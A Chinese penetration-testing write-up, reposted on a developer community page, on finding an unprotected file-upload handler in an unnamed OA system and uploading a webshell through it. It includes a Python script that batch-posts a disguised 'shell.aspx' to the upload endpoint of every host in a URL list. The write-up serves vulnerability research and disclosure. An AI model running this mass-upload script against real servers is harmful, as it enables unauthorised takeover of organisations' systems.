记一次某OA渗透测试有意思的文件上传漏洞挖掘经历以及分析

举报
亿人安全 发表于 2025/01/29 22:48:22 2025/01/29
【摘要】 原文首发在:先知社区https://xz.aliyun.com/t/16959登陆我这边首先找到的是一个文件上传的登陆框测试了一下sql注入之类的,发现没有目录扫描看到api爆出200 ok的那一刻我的心情是激动的,感觉要有很多接口泄露了一堆ashx文件加上一个UEditor的组件,ashx.ashx 文件扩展名通常用于表示 ASP.NET 处理程序(ASP.NET Handler)。ASP...

原文首发在:先知社区

https://xz.aliyun.com/t/16959

登陆

我这边首先找到的是一个文件上传的登陆框

图片

测试了一下sql注入之类的,发现没有

图片

目录扫描

图片

看到api爆出200 ok的那一刻我的心情是激动的,感觉要有很多接口泄露了

图片

一堆ashx文件加上一个UEditor的组件,ashx

.ashx 文件扩展名通常用于表示 ASP.NET 处理程序(ASP.NET Handler)。ASP.NET 处理程序是一种在服务器端处理特定类型请求的代码文件。这些文件通常用于执行一些特殊的服务器任务,如图像生成、文件下载或其他动态内容的处理。

图片

ueditor组件也有一个ashx文件,看着文件名字应该就是用来处理文件上传功能的

我们访问一下

图片

给我返回了这个消息,那么我们可以理解为这个文件应该是要传递一个参数的,但是参数是什么,我们目前还不知道

我爆破了一下参数

图片

依旧是接口错误

难道到手的文件上传getshell(bushi就要没了吗?

查看前端源码

图片

查看了一下这个js源码

图片

一搜索就搜到了我那个文件名

那么就是说可以有文件删除和文件上传两个选择,传入DoWebUpload或者DoDelete参数即可

那么我们选择上传一个木马文件试试

图片

直接就上传成功了冰蝎连接试试

图片

直接就是getshell成功了

批量脚本验证

import requests
import os
os.environ["http_proxy"] = "http://127.0.0.1:7890"
os.environ["https_proxy"] = "http://127.0.0.1:7890"
def poc(url=""):
# 目标URL
    url = url+'/api/FileUploadApi.ashx?method=DoWebUpload'
    files = {
        'file': ('shell.aspx', """

        """, 'image/png')
    }

    headers = {
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'Origin': 'null',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive'
    }
    try:
        # 发送POST请求
        response = requests.post(url, files=files, headers=headers,timeout=5)
        # 打印返回结果
        print('Response Code:', response.status_code)
        print('Response Text:', response.text)
    except Exception as e:
        print(e)
if __name__ == '__main__':
    file_path = 'url'
    with open(file_path, 'r', encoding='utf-8') as file:
        for line in file:
            print(line.strip())  # 使用 strip() 去掉行末的换行符
            poc("http://" + line.strip())
    # poc()

图片

小结

这次感觉这个文件上传藏得还是比较深的,也是告诉自己挖掘一些漏洞的时候,千万不能放过任何一处细节,往往细节决定成败。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。